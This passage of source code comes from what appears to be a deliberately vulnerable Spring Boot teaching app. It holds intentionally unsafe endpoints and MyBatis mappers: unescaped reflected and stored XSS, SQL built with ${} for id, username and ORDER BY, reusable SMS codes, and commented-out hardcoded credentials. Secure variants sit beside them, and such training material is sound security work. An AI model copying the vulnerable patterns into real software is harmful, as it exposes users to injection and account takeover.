34 | } 35 | } 36 | 37 | @GetMapping("/sec1") 38 | public void previewImageSec(@RequestParam String url) { 39 | 40 | } 41 | 42 | private boolean isInternalIP(String host) { 43 | try { 44 | InetAddress addr = InetAddress.getByName(host); 45 | return addr.isLoopbackAddress() || 46 | addr.isSiteLocalAddress() || 47 | addr.isLinkLocalAddress() || 48 | addr.isAnyLocalAddress(); 49 | } catch (UnknownHostException e) { 50 | return false; 51 | } 52 | } 53 | } -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/XSS/ReflectedController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.XSS; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import icu.secnotes.utils.Security; 5 | import lombok.extern.slf4j.Slf4j; 6 | import org.owasp.encoder.Encode; 7 | import org.springframework.web.bind.annotation.GetMapping; 8 | import org.springframework.web.bind.annotation.RequestMapping; 9 | import org.springframework.web.bind.annotation.RestController; 10 | import org.springframework.web.util.HtmlUtils; 11 | 12 | @Slf4j 13 | @RestController 14 | @RequestMapping("/xss/reflected") 15 | public class ReflectedController { 16 | 17 | @GetMapping("/vuln1") 18 | public Result Vuln1(String name) { 19 | log.info("请求参数: {}", name); 20 | return Result.success("Hello, " + name); 21 | } 22 | 23 | @GetMapping("/sec1") 24 | public Result Sec1(String name) { 25 | log.info("请求参数: {}", name); 26 | String newName = Security.xssFilter(name); 27 | return Result.success("Hello, " + newName); 28 | } 29 | 30 | /** 31 | * 采用Spring自带的HtmlUtils方法防止xss脚本攻击 32 | */ 33 | @GetMapping("/sec2") 34 | public Result Sec2(String name) { 35 | log.info("请求参数: {}", name); 36 | String newName = HtmlUtils.htmlEscape(name); 37 | return Result.success("Hello, " + newName); 38 | } 39 | 40 | /** 41 | * 采用OWASP Java Encoder方法防止xss攻击 42 | */ 43 | @GetMapping("/sec3") 44 | public Result Sec3(String name) { 45 | log.info("请求参数: {}", name); 46 | String newName = Encode.forHtml(name); 47 | return Result.success("Hello, " + newName); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/XSS/StoredController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.XSS; 2 | 3 | import icu.secnotes.pojo.MessageBoard; 4 | import icu.secnotes.pojo.Result; 5 | import icu.secnotes.service.MessageBoardService; 6 | import lombok.extern.slf4j.Slf4j; 7 | import org.owasp.esapi.ESAPI; 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.web.bind.annotation.*; 10 | 11 | import java.util.List; 12 | 13 | @RestController 14 | @Slf4j 15 | @RequestMapping("/xss/stored") 16 | public class StoredController { 17 | 18 | @Autowired 19 | private MessageBoardService messageBoardService; 20 | 21 | /** 22 | * 添加留言 23 | */ 24 | @PostMapping("/addMessage") 25 | public Result addMessage(@RequestBody MessageBoard messageBoard) { 26 | if (messageBoard.getMessage() == null || "".equals(messageBoard.getMessage())) { 27 | log.error("留言内容不能为空"); 28 | return Result.error("留言内容不能为空"); 29 | } 30 | messageBoardService.insertMessage(messageBoard); 31 | return Result.success(); 32 | } 33 | 34 | /** 35 | * 查询留言 36 | */ 37 | @GetMapping("/queryMessage") 38 | public Result queryMessage() { 39 | List messageBoards = messageBoardService.selectMessage(); 40 | return Result.success(messageBoards); 41 | } 42 | 43 | /** 44 | * ESAPI安全工具包防御xss 45 | */ 46 | @PostMapping("/addMessageSec") 47 | public Result addMessageSec(@RequestBody MessageBoard messageBoard) { 48 | if (messageBoard.getMessage() == null || "".equals(messageBoard.getMessage())) { 49 | log.error("留言内容不能为空"); 50 | return Result.error("留言内容不能为空"); 51 | } 52 | 53 | // ESAPI安全工具包防御xss 54 | System.out.println(ESAPI.encoder().encodeForHTML(messageBoard.getMessage())); 55 | messageBoard.setMessage(ESAPI.encoder().encodeForHTML(messageBoard.getMessage())); 56 | messageBoardService.insertMessage(messageBoard); 57 | return Result.success(); 58 | } 59 | 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/exception/GlobalExceptionHandler.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.exception; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import org.springframework.validation.FieldError; 5 | import org.springframework.web.bind.MethodArgumentNotValidException; 6 | import org.springframework.web.bind.annotation.ExceptionHandler; 7 | import org.springframework.web.bind.annotation.RestControllerAdvice; 8 | 9 | @RestControllerAdvice 10 | public class GlobalExceptionHandler { 11 | @ExceptionHandler(MethodArgumentNotValidException.class) 12 | public Result handleValidationExceptions(MethodArgumentNotValidException ex) { 13 | String errorMessage = ex.getBindingResult().getFieldErrors().stream() 14 | .map(FieldError::getDefaultMessage) 15 | .findFirst() 16 | .orElse("参数验证失败"); 17 | return Result.error(errorMessage); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/interceptor/LoginCheckInterceptor.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.interceptor; 2 | 3 | import com.alibaba.fastjson.JSONObject; 4 | import icu.secnotes.pojo.Result; 5 | import icu.secnotes.utils.JwtUtils; 6 | import lombok.extern.slf4j.Slf4j; 7 | import org.springframework.stereotype.Component; 8 | import org.springframework.util.StringUtils; 9 | import org.springframework.web.servlet.HandlerInterceptor; 10 | import org.springframework.web.servlet.ModelAndView; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | 14 | @Component 15 | @Slf4j 16 | public class LoginCheckInterceptor implements HandlerInterceptor { 17 | 18 | /** 19 | * 目标资源方法运行前执行,返回true表示放行,返回false表示不放行 20 | * @param request 21 | * @param response 22 | * @param handler 23 | * @return 24 | * @throws Exception 25 | */ 26 | @Override 27 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 28 | //1.获取请求url 29 | String url = request.getRequestURL().toString(); 30 | log.info("访问的url是:{}", url); 31 | 32 | //2.判断请求url中是否login,如果包含说明是登录操作 33 | //但是,因为在WebConfig类中进行配置:.addPathPatterns("/**").excludePathPatterns("/login");,所以下面的判断方法永远不会执行 34 | if (url.contains("login") || url.contains("httpBasicLogin")){ 35 | log.info("登录操作,放行"); 36 | return true; 37 | } 38 | 39 | // if (url.contains("httpBasicLogin1")){ 40 | // String USERNAME = "zhangsan"; // 硬编码用户名 41 | // String PASSWORD = "123"; // 硬编码密码 42 | // 43 | // // 处理HTTP Basic Auth登录 44 | // String token = request.getHeader("token"); 45 | // if (token == null || !token.startsWith("Basic ")) { 46 | // log.info("HTTP Basic Auth登录,token缺失或者token格式错误"); 47 | //// response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); 48 | // response.setHeader("WWW-Authenticate", "Basic realm=\"Access to the site\""); 49 | // return false; 50 | // } 51 | // 52 | // String[] credentials = Security.decodeBasicAuth(token); 53 | // if (credentials == null || credentials.length != 2) { 54 | //// response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); 55 | // return false; 56 | // } 57 | // 58 | // String username = credentials[0]; 59 | // String password = credentials[1]; 60 | // 61 | // if (!USERNAME.equals(username) || !PASSWORD.equals(password)) { 62 | // log.info("HTTP Basic Auth登录,账号密码错误,token:{}" , token); 63 | //// response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); 64 | // return false; 65 | // } 66 | // 67 | // log.info("HTTP Basic Auth登录,放行,token:{}" , token); 68 | // return true; // 认证通过 69 | // } 70 | 71 | //3.获取请求头的令牌 72 | String jwttoken = request.getHeader("Authorization"); 73 | 74 | /* //3.获取请求cookie中的jwt令牌 75 | String jwttoken = null; 76 | 77 | Cookie[] cookies = request.getCookies(); 78 | 79 | //System.out.println(cookies.length); //Cannot read the array length because "cookies" is null 80 | 81 | if (cookies != null){ 82 | for (Cookie cookie : cookies) { 83 | if ("token".equals(cookie.getName())){ 84 | jwttoken = cookie.getValue(); 85 | break; 86 | } 87 | } 88 | }*/ 89 | 90 | //4.判断令牌是否存在,如果不存在,返回错误信息(未登录) 91 | if(!StringUtils.hasLength(jwttoken)){ //如果 jwttoken 为空或只包含空白字符(即没有长度) 92 | log.info("Authorization为空,返回未登录信息"); 93 | Result error = Result.error("NOT_LOGIN"); 94 | //手动转换, 对象--json 95 | String notLogin = JSONObject.toJSONString(error); 96 | response.getWriter().write(notLogin); 97 | return false; 98 | } 99 | 100 | //5.解析jwttoken,如果解析失败,返回错误信息(未登录) 101 | try { 102 | JwtUtils.parseJwt(jwttoken); 103 | } catch (Exception e) { 104 | e.printStackTrace(); 105 | log.info("令牌解析失败,返回未登录信息"); 106 | Result error = Result.error("NOT_LOGIN"); 107 | //手动转换, 对象--json 108 | String notLogin = JSONObject.toJSONString(error); 109 | response.getWriter().write(notLogin); 110 | return false; 111 | } 112 | 113 | //6.jwt解析没问题,放行 114 | log.info("登录的令牌合法,放行"); 115 | return true; 116 | 117 | } 118 | 119 | /** 120 | * 目标资源方法运行后执行,可以对请求域中的属性或视图做出修改 121 | * @param request 122 | * @param response 123 | * @param handler 124 | * @param modelAndView 125 | * @throws Exception 126 | */ 127 | @Override 128 | public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { 129 | // System.out.println("postHandle..."); 130 | } 131 | 132 | /** 133 | * 视图渲染完毕后执行,最后运行 134 | * @param request 135 | * @param response 136 | * @param handler 137 | * @param ex 138 | * @throws Exception 139 | */ 140 | @Override 141 | public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { 142 | // System.out.println("afterCompletion..."); 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/mapper/LoginMapper.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.mapper; 2 | 3 | import icu.secnotes.pojo.Admin; 4 | import org.apache.ibatis.annotations.Mapper; 5 | import org.apache.ibatis.annotations.Param; 6 | import org.apache.ibatis.annotations.Select; 7 | 8 | @Mapper 9 | public interface LoginMapper { 10 | 11 | /** 12 | * 管理员登录 13 | * @param admin 14 | * @return 15 | */ 16 | @Select("select * from admin where username = #{username} and password = #{password}") 17 | Admin login(Admin admin); 18 | 19 | /** 20 | * 根据id获取管理员信息 21 | */ 22 | @Select("select * from admin where id = #{id}") 23 | Admin getAdminById(@Param("id") String id); 24 | 25 | } 26 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/mapper/MessageBoardMapper.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.mapper; 2 | 3 | import icu.secnotes.pojo.MessageBoard; 4 | import org.apache.ibatis.annotations.Insert; 5 | import org.apache.ibatis.annotations.Mapper; 6 | import org.apache.ibatis.annotations.Select; 7 | import java.util.List; 8 | 9 | @Mapper 10 | public interface MessageBoardMapper { 11 | 12 | /** 13 | * 添加留言 14 | */ 15 | @Insert("insert into MessageBoard(message) values(#{message})") 16 | void insertMessage(MessageBoard messageBoard); 17 | 18 | /** 19 | * 查询留言 20 | */ 21 | @Select("select * from MessageBoard") 22 | List selectMessage(); 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/mapper/MfaSecretMapper.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.mapper; 2 | 3 | import icu.secnotes.pojo.MfaSecret; 4 | import org.apache.ibatis.annotations.*; 5 | 6 | @Mapper 7 | public interface MfaSecretMapper { 8 | 9 | /** 10 | * 生成用户的mfa secret字符串 11 | * @param mfaSecret 12 | * @return 13 | */ 14 | @Insert("insert into mfa_secret(userId, secret, create_time, update_time) values (#{userId}, #{secret}, #{createTime}, #{updateTime})") 15 | int insert(MfaSecret mfaSecret); 16 | 17 | /** 18 | * 删除用户的mfa secret字符串,相当于重置MFA 19 | * @param mfaSecret 20 | * @return 21 | */ 22 | @Delete("delete from mfa_secret where userId = #{userId}") 23 | int delete(MfaSecret mfaSecret); 24 | 25 | /** 26 | * 根据用户ID查询MFA密钥 27 | * @param userId 28 | * @return 29 | */ 30 | @Select("select * from mfa_secret where userId = #{userId}") 31 | MfaSecret selectByUserId(Integer userId); 32 | 33 | /** 34 | * 更新用户的mfa secret字符串 35 | * @param mfaSecret 36 | * @return 37 | */ 38 | @Update("update mfa_secret SET secret = #{secret}, update_time = #{updateTime} where id = #{id}") 39 | int update(MfaSecret mfaSecret); 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/mapper/SmsCodeMapper.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.mapper; 2 | 3 | import icu.secnotes.pojo.SmsCode; 4 | import org.apache.ibatis.annotations.Insert; 5 | import org.apache.ibatis.annotations.Mapper; 6 | import org.apache.ibatis.annotations.Select; 7 | import org.apache.ibatis.annotations.Update; 8 | 9 | import java.time.LocalDateTime; 10 | 11 | @Mapper 12 | public interface SmsCodeMapper { 13 | 14 | /** 15 | * 插入短信验证码,第一次生成,状态为未使用、有效期为5分钟、重试次数为0 16 | */ 17 | @Insert("insert into sms_code(phone, code, create_time, expire_time) values(#{phone}, #{code}, #{createTime}, #{expireTime})") 18 | void insertSmsCode(SmsCode smsCode); 19 | 20 | /** 21 | * 插入短信验证码,参数是phone和code,其他字段使用默认值 22 | */ 23 | @Insert("insert into sms_code(phone, code, create_time, expire_time) values(#{phone}, #{code}, #{createTime}, #{expireTime})") 24 | void insertSmsCodeByPhoneAndCode(String phone, String code, LocalDateTime createTime, LocalDateTime expireTime); 25 | 26 | /** 27 | * 更新验证码的使用状态 28 | */ 29 | @Update("update sms_code set used = 1 where phone = #{phone} and code = #{code}") 30 | void updateSmsCodeUsed(SmsCode smsCode); 31 | 32 | /** 33 | * 更新“未使用的”验证码的重试次数,每使用一次重试次数加1,并且只更新最新一条未使用的验证码的重试次数 34 | */ 35 | @Update("update sms_code set retry_count = retry_count + 1 where phone = #{phone} and used = 0 order by create_time desc limit 1") 36 | void updateSmsCodeRetryCount(String phone); 37 | 38 | /** 39 | * 查询手机验证码的校验次数,但是根据phone可能查询到多条记录,这里需要只返回最新一条记录的重试次数 40 | */ 41 | @Select("select retry_count from sms_code where phone = #{phone} order by create_time desc limit 1") 42 | Integer selectRetryCount(String phone); 43 | 44 | /** 45 | * 根据phone和code校验短信验证码,限制只能校验未使用且未过期且重试次数小于5的验证码 46 | */ 47 | @Select("select * from sms_code where phone = #{phone} and code = #{code} and used = 0 and retry_count < 5 and expire_time > now()") 48 | SmsCode selectByPhoneAndCode(String phone, String code); 49 | 50 | /** 51 | * 根据phone和code校验短信验证码,未限制验证码的使用状态,可重复使用 52 | */ 53 | @Select("select * from sms_code where phone = #{phone} and code = #{code} and retry_count < 5 and expire_time > now()") 54 | SmsCode selectByPhoneAndCode2(String phone, String code); 55 | 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/mapper/UserLoginLogMapper.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.mapper; 2 | 3 | import org.apache.ibatis.annotations.Delete; 4 | import org.apache.ibatis.annotations.Insert; 5 | import org.apache.ibatis.annotations.Mapper; 6 | import org.apache.ibatis.annotations.Select; 7 | 8 | import java.time.LocalDateTime; 9 | 10 | @Mapper 11 | public interface UserLoginLogMapper { 12 | 13 | /** 14 | * 插入登录失败日志 15 | */ 16 | @Insert("insert into user_login_log( ip, username, loginTime) values(#{ip}, #{username}, #{loginTime})") 17 | void insertUserLoginLog(String ip, String username, LocalDateTime loginTime); 18 | 19 | /** 20 | * 根据ip删除所有登录日志 21 | */ 22 | @Delete("delete from user_login_log where ip = #{ip}") 23 | void deleteUserLoginLogByIp(String ip); 24 | 25 | /** 26 | * 根据ip统计最近5分钟的登录失败次数 27 | */ 28 | @Select("select count(*) from user_login_log where ip = #{ip} and loginTime > date_sub(now(), interval 5 minute)") 29 | int countUserLoginLogByIp(String ip); 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/mapper/UserMapper.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.mapper; 2 | 3 | import icu.secnotes.pojo.User; 4 | import org.apache.ibatis.annotations.Mapper; 5 | import org.apache.ibatis.annotations.Param; 6 | import org.apache.ibatis.annotations.Select; 7 | import org.springframework.stereotype.Repository; 8 | import java.util.List; 9 | 10 | @Mapper 11 | @Repository 12 | public interface UserMapper { 13 | /** 14 | * 根据id查询用户,演示sql注入 15 | * @param id 16 | * @return 17 | */ 18 | @Select("select * from user where id = ${id}") 19 | List selectUserById(String id); 20 | 21 | /** 22 | * 根据id查询用户,演示sql注入 23 | * @param username 24 | * @return 25 | */ 26 | @Select("select * from user where username = '${username}'") 27 | List selectUserByUsername(@Param("username") String username); 28 | 29 | /** 30 | * 根据username查询用户,使用预编译 31 | * @param username 32 | * @return 33 | */ 34 | @Select("select * from user where username = #{username}") 35 | List selectUserSecByUsername(@Param("username") String username); 36 | 37 | /** 38 | * 查询总记录数 39 | */ 40 | @Select("select count(*) from user") 41 | int count(); 42 | 43 | /** 44 | * 支持按字段排序的分页查询,获取用户列表数据 45 | */ 46 | @Select("select * from user order by ${orderBy} limit #{start}, #{pageSize}") 47 | List pageOrderBy(@Param("orderBy") String orderBy, @Param("start") int start, @Param("pageSize") int pageSize); 48 | 49 | /** 50 | * 账号密码登录 51 | */ 52 | @Select("select * from user where username = #{username} and password = #{password}") 53 | User passwordLogin(User user); 54 | 55 | @Select("select * from user where username = #{username} and password = #{password}") 56 | User passwordLogin2(String username, String password); 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/Admin.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | import lombok.NoArgsConstructor; 6 | 7 | import java.time.LocalDateTime; 8 | 9 | @Data 10 | @NoArgsConstructor 11 | @AllArgsConstructor 12 | public class Admin { 13 | private Integer id; 14 | private String name; 15 | private String username; 16 | private String password; 17 | private String token; 18 | private String avatar; 19 | private LocalDateTime createTime; 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/MessageBoard.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | import lombok.NoArgsConstructor; 6 | 7 | @Data 8 | @NoArgsConstructor 9 | @AllArgsConstructor 10 | public class MessageBoard { 11 | 12 | private Integer id; //留言id 13 | private String message; //留言内容 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/MfaSecret.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | import lombok.NoArgsConstructor; 6 | import java.time.LocalDateTime; 7 | 8 | @Data 9 | @AllArgsConstructor 10 | @NoArgsConstructor 11 | public class MfaSecret { 12 | private Integer id; 13 | private Integer userId; 14 | private String secret; 15 | private LocalDateTime createTime; 16 | private LocalDateTime updateTime; 17 | 18 | public MfaSecret(Integer userId, String secret) { 19 | this.userId = userId; 20 | this.secret = secret; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/PageBean.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | import lombok.NoArgsConstructor; 6 | 7 | import java.util.List; 8 | 9 | @Data 10 | @AllArgsConstructor 11 | @NoArgsConstructor 12 | public class PageBean { 13 | /** 总记录数 */ 14 | private Integer total; 15 | 16 | /** 数据列表 */ 17 | private List rows; 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/Result.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | /** 4 | * 统一响应结果封装类 5 | */ 6 | public class Result { 7 | private Integer code; //0 成功 1失败 8 | private String msg; //提示信息 9 | private Object data; //数据 data 10 | 11 | public Result() { 12 | } 13 | 14 | public Result(Integer code, String msg, Object data) { 15 | this.code = code; 16 | this.msg = msg; 17 | this.data = data; 18 | } 19 | 20 | public Integer getCode() { 21 | return code; 22 | } 23 | 24 | public void setCode(Integer code) { 25 | this.code = code; 26 | } 27 | 28 | public String getMsg() { 29 | return msg; 30 | } 31 | 32 | public void setMsg(String msg) { 33 | this.msg = msg; 34 | } 35 | 36 | public Object getData() { 37 | return data; 38 | } 39 | 40 | public void setData(Object data) { 41 | this.data = data; 42 | } 43 | 44 | // 用于返回增删改操作成功的结果 45 | public static Result success(Object data){ 46 | return new Result(0,"success", data); 47 | } 48 | 49 | // 用于返回查询操作成功的结果 50 | public static Result success(){ 51 | return new Result(0,"success", null); 52 | } 53 | 54 | // 用于返回操作失败的结果 55 | public static Result error(Object data){ 56 | return new Result(1,"error", data); 57 | } 58 | 59 | @Override 60 | public String toString() { 61 | return "Result{" + 62 | "code=" + code + 63 | ", msg='" + msg + '\'' + 64 | ", data=" + data + 65 | '}'; 66 | } 67 | } -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/SmsCode.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | import lombok.NoArgsConstructor; 6 | import javax.validation.constraints.NotBlank; 7 | import javax.validation.constraints.Pattern; 8 | import java.time.LocalDateTime; 9 | 10 | @Data 11 | @NoArgsConstructor 12 | @AllArgsConstructor 13 | public class SmsCode { 14 | 15 | private Long id; 16 | @NotBlank(message = "手机号不能为空") 17 | @Pattern(regexp = "^1(3[0-9]|4[5-9]|5[0-3,5-9]|6[6]|7[0-8]|8[0-9]|9[1,8,9])\\d{8}$", message = "手机号格式错误") 18 | private String phone; 19 | private String code; 20 | private LocalDateTime createTime; 21 | private LocalDateTime expireTime; 22 | private Integer used; 23 | private Integer retryCount; 24 | 25 | } 26 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/pojo/User.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.pojo; 2 | 3 | public class User { 4 | private Integer id; 5 | private String username; 6 | private String password; 7 | private String name; 8 | 9 | public Integer getId() { 10 | return id; 11 | } 12 | 13 | public void setId(Integer id) { 14 | this.id = id; 15 | } 16 | 17 | public String getUsername() { 18 | return username; 19 | } 20 | 21 | public void setUsername(String username) { 22 | this.username = username; 23 | } 24 | 25 | public String getPassword() { 26 | return password; 27 | } 28 | 29 | public void setPassword(String password) { 30 | this.password = password; 31 | } 32 | 33 | public String getName() { 34 | return name; 35 | } 36 | 37 | public void setName(String name) { 38 | this.name = name; 39 | } 40 | 41 | @Override 42 | public String toString() { 43 | return "User{" + 44 | "id=" + id + 45 | ", username='" + username + '\'' + 46 | ", password='" + password + '\'' + 47 | ", name='" + name + '\'' + 48 | '}'; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/LoginService.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service; 2 | 3 | import icu.secnotes.pojo.Admin; 4 | 5 | public interface LoginService { 6 | Admin login(Admin admin); 7 | 8 | Admin getAdminById(String id); 9 | } 10 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/MessageBoardService.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service; 2 | 3 | import icu.secnotes.pojo.MessageBoard; 4 | import java.util.List; 5 | 6 | public interface MessageBoardService { 7 | /** 8 | * 添加留言 9 | */ 10 | void insertMessage(MessageBoard messageBoard); 11 | 12 | /** 13 | * 查询留言 14 | */ 15 | List selectMessage(); 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/MfaSecretService.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service; 2 | 3 | import icu.secnotes.pojo.MfaSecret; 4 | 5 | public interface MfaSecretService { 6 | 7 | // 创建MFA密钥 8 | Integer createMfaSecret(MfaSecret mfaSecret); 9 | 10 | // 删除MFA密钥 11 | Integer deleteMfaSecret(MfaSecret mfaSecret); 12 | 13 | // 根据用户ID查询密钥 14 | MfaSecret getSecretByUserId(Integer userId); 15 | 16 | // 更新密钥 17 | int updateSecret(MfaSecret mfaSecret); 18 | 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/SmsCodeService.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service; 2 | 3 | import icu.secnotes.pojo.SmsCode; 4 | import java.time.LocalDateTime; 5 | 6 | public interface SmsCodeService { 7 | /** 8 | * 生成短信验证码 9 | * @param smsCode 10 | */ 11 | void generateCode(SmsCode smsCode); 12 | 13 | void generateCodeByPhoneAndCode(String phone, String code, LocalDateTime createTime, LocalDateTime expireTime); 14 | 15 | /** 16 | * 更新验证码的使用状态和重试次数,第一次使用更新使用状态,后续每次使用增加重试次数 17 | * @param smsCode 18 | */ 19 | void updateSmsCodeUsed(SmsCode smsCode); 20 | 21 | void updateSmsCodeRetryCount(String phone); 22 | 23 | Integer selectRetryCount(String phone); 24 | 25 | /** 26 | * 验证短信验证码 27 | * @param phone 28 | * @param code 29 | * @return 30 | */ 31 | SmsCode verifyCode(String phone, String code); 32 | 33 | SmsCode verifyCode2(String phone, String code); 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/UserLoginLogService.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service; 2 | 3 | import java.time.LocalDateTime; 4 | 5 | public interface UserLoginLogService { 6 | 7 | void insertUserLoginLog(String username, String ip, LocalDateTime loginTime); 8 | 9 | void deleteUserLoginLogByIp(String ip); 10 | 11 | int countUserLoginLogByIp(String ip); 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/UserService.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service; 2 | 3 | import icu.secnotes.pojo.PageBean; 4 | import icu.secnotes.pojo.User; 5 | import java.util.List; 6 | 7 | public interface UserService { 8 | List selectUserById(String id); 9 | 10 | List selectUserByUsername(String username); 11 | 12 | PageBean pageOrderBy(String orderBy, Integer page, Integer pageSize); 13 | 14 | List selectUserSecByUsername(String username); 15 | 16 | User passwordLogin(User user); 17 | 18 | User passwordLogin2(String username, String password); 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/impl/LoginServiceImpl.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service.impl; 2 | 3 | import icu.secnotes.mapper.LoginMapper; 4 | import icu.secnotes.pojo.Admin; 5 | import icu.secnotes.service.LoginService; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Service; 8 | 9 | @Service 10 | public class LoginServiceImpl implements LoginService { 11 | 12 | @Autowired 13 | private LoginMapper loginMapper; 14 | 15 | @Override 16 | public Admin login(Admin admin) { 17 | return loginMapper.login(admin); 18 | } 19 | 20 | @Override 21 | public Admin getAdminById(String id) { 22 | return loginMapper.getAdminById(id); 23 | } 24 | 25 | } 26 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/impl/MessageBoardServiceImpl.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service.impl; 2 | 3 | import icu.secnotes.mapper.MessageBoardMapper; 4 | import icu.secnotes.pojo.MessageBoard; 5 | import icu.secnotes.service.MessageBoardService; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Service; 8 | 9 | import java.util.List; 10 | 11 | @Service 12 | public class MessageBoardServiceImpl implements MessageBoardService { 13 | @Autowired 14 | private MessageBoardMapper messageBoardMapper; 15 | 16 | @Override 17 | public void insertMessage(MessageBoard messageBoard) { 18 | messageBoardMapper.insertMessage(messageBoard); 19 | } 20 | 21 | @Override 22 | public List selectMessage() { 23 | return messageBoardMapper.selectMessage(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/impl/MfaSecretServiceImpl.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service.impl; 2 | 3 | import icu.secnotes.mapper.MfaSecretMapper; 4 | import icu.secnotes.pojo.MfaSecret; 5 | import icu.secnotes.service.MfaSecretService; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Service; 8 | 9 | @Service 10 | public class MfaSecretServiceImpl implements MfaSecretService { 11 | 12 | @Autowired 13 | private MfaSecretMapper mfaSecretMapper; 14 | 15 | @Override 16 | public Integer createMfaSecret(MfaSecret mfaSecret) { 17 | return mfaSecretMapper.insert(mfaSecret); 18 | } 19 | 20 | @Override 21 | public Integer deleteMfaSecret(MfaSecret mfaSecret) { 22 | return mfaSecretMapper.delete(mfaSecret); 23 | } 24 | 25 | @Override 26 | public MfaSecret getSecretByUserId(Integer userId) { 27 | return mfaSecretMapper.selectByUserId(userId); 28 | } 29 | 30 | @Override 31 | public int updateSecret(MfaSecret mfaSecret) { 32 | return mfaSecretMapper.update(mfaSecret); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/impl/SmsCodeServiceImpl.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service.impl; 2 | 3 | import icu.secnotes.mapper.SmsCodeMapper; 4 | import icu.secnotes.pojo.SmsCode; 5 | import icu.secnotes.service.SmsCodeService; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Service; 8 | 9 | import java.time.LocalDateTime; 10 | 11 | @Service 12 | public class SmsCodeServiceImpl implements SmsCodeService { 13 | 14 | @Autowired 15 | private SmsCodeMapper smsCodeMapper; 16 | 17 | @Override 18 | public void generateCode(SmsCode smsCode) { 19 | smsCodeMapper.insertSmsCode(smsCode); 20 | } 21 | 22 | @Override 23 | public void generateCodeByPhoneAndCode(String phone, String code, LocalDateTime createTime, LocalDateTime expireTime) { 24 | smsCodeMapper.insertSmsCodeByPhoneAndCode(phone, code, createTime, expireTime); 25 | } 26 | 27 | @Override 28 | public void updateSmsCodeUsed(SmsCode 